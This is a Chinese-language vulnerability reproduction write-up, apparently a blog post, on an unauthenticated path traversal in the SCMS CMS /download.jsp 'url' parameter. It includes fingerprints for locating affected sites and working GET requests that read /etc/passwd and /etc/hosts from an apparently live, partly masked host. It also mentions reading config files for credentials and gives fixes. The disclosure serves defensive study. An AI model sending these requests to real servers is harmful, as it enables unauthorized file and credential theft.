SCMS /download.jsp 目录遍历漏洞复现
SCMS /download.jsp 目录遍历漏洞复现
0x00 漏洞概述
SCMS 是一套采用 JSP 架构的内容管理系统,常见于企业站点与媒体类门户的建站场景。该系统的 /download.jsp 接口用于文件下载功能,接受名为 url 的参数指定待下载文件。由于服务端在处理该参数时未对用户输入的路径做任何校验,攻击者可以在 url 参数中插入 ../ 相对路径遍历字符,突破预期的下载目录限制,最终读取服务器上的任意文件,例如 /etc/passwd 等敏感系统文件。
该漏洞的 CVSS 评分为 6.0,分类为目录遍历。其危害在于:整个利用过程无需任何身份认证,攻击者可借此读取系统账户信息、应用配置文件乃至各类凭据,为进一步入侵收集关键信息,严重时可能导致服务器被完全控制。
0x01 影响版本
该漏洞目前无公开的 CVE/CNVD/CNNVD 编号,厂商也未发布公开通告,受影响的具体版本范围暂无可核验的公开信息。从验证情况看,漏洞存在于提供 /download.jsp 下载功能的 JSP 版本系统中。
受影响系统的常见识别特征包括:页面引用 fr amework/Main.js 且正文出现 SCMS 字样、页脚出现 "Powered by S:CMS - Copyright" 版权信息、页面标题为 SCMS 或 S-CMS,以及正文出现 type=news&s_id= 或 type=newsinfo&s_id= 形式的新闻链接。需要注意的是,市面上存在多个名称相近的 CMS 产品(如 PHP 架构的 S-CMS、SiteServer CMS 等),它们各有各自独立的漏洞编号,与本漏洞涉及的 JSP 架构 SCMS 并非同一产品,资产测绘时应以 /download.jsp 接口的存在与否作为核实依据,避免误报。
0x02 漏洞分析
/download.jsp 的设计意图是提供站内文件的下载通道:页面上的下载链接将目标文件的相对路径放入 url 参数,由该 JSP 读取对应文件内容并回传给浏览器。典型的正常请求形如 /download.jsp?url=xxx,其中 xxx 为站内合法的下载资源路径。
问题出在服务端直接将 url 参数拼入文件读取逻辑,既没有过滤 ../ 序列,也没有将解析后的真实路径限制在固定的下载目录之内。攻击者提交形如 ../../../../etc/passwd 的参数值时,JSP 会沿目录树逐级回溯到文件系统根目录,随后按绝对路径读取任意文件并把内容当作下载响应返回。由于接口未做任何会话校验,未认证的攻击者即可直接发起利用。
从验证行为推断,该接口在成功读取文件时返回 HTTP 200 及文件内容原文,这一行为与验证逻辑中以响应正文包含特定文件特征行作为判定条件的做法相吻合(此为基于验证逻辑的推断,非实录响应包)。
0x03 复现步骤
复现环境为某互联网侧的 SCMS 实例(主机地址已脱敏)。第一步,确认目标站点具备 SCMS 特征后,直接向 /download.jsp 发起带路径遍历参数的 GET 请求,尝试读取 /etc/passwd:
GET /download.jsp?url=../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: scmsapib.app.visionlinkmedia.***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close请求要点如下:
- 方法为 GET,路径为
/download.jsp,参数名固定为url; - 参数值为 14 层
../回溯后接/etc/passwd,层数足够多为根目录位于任意深度时都能命中; - 请求不携带任何 Cookie 或 Token,验证该接口可被未认证用户直接访问。
若请求命中,预期返回 HTTP 200,响应正文为被读取文件的原文。第二步,可换用其他系统文件交叉验证读取能力,例如以同样的遍历前缀读取 /etc/hosts,确认任意文件读取而非特定文件回显:
GET /download.jsp?url=../../../../../../../../../../../../../../etc/hosts HTTP/1.1
Host: scmsapib.app.visionlinkmedia.***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close若两条请求均返回 200,则响应正文应可分别观察到 root:x:0:0 开头的账户信息行,以及包含 127.0.0.1 的主机映射行,以此判定遍历读取可用。在此基础上进一步读取应用部署目录下的配置文件(如数据库连接配置),可以获取凭据信息用于后续评估,此处不再展开。
0x04 判定
漏洞判定以响应内容为依据,满足以下条件即可确认漏洞存在:
1. 向 /download.jsp?url= 提交带 ../ 遍历前缀的 /etc/passwd 路径,响应状态码为 200;
2. 响应正文中包含 root:x:0:0 字样,说明返回的是真实的 /etc/passwd 文件内容而非错误页;
3. 备选判定:将参数值末段替换为 /etc/hosts,响应正文包含 127.0.0.1,同样可确认读取成功。
两项判定二选一命中即可确认漏洞,两项同时命中则可排除缓存或误报干扰。反之,若响应为 4xx/5xx 状态码、正文为下载失败提示或固定错误页,则说明目标已对 url 参数做了路径校验,可判定不受影响。判定过程中务必同时核对站点确属 JSP 架构的 SCMS,避免与名称相近的其他 CMS 产品的漏洞混淆。
0x05 总结
这是一处典型的下载功能未校验路径参数导致的目录遍历漏洞:/download.jsp 将用户可控的 url 参数直接用于文件读取,配合足够层数的 ../ 即可读取服务器任意文件,且全程无需认证。修复建议:对 url 参数做严格的路径规范化校验,拒绝任何包含相对路径符号的输入;将可下载文件限制在固定白名单目录内;升级至官方已修复版本,并对该接口的访问日志加强审计。对运维方而言,还应在边界防护上对该接口的异常参数(含 ../ 序列的请求)进行拦截与告警。

Wayyt 9小时前
最新评论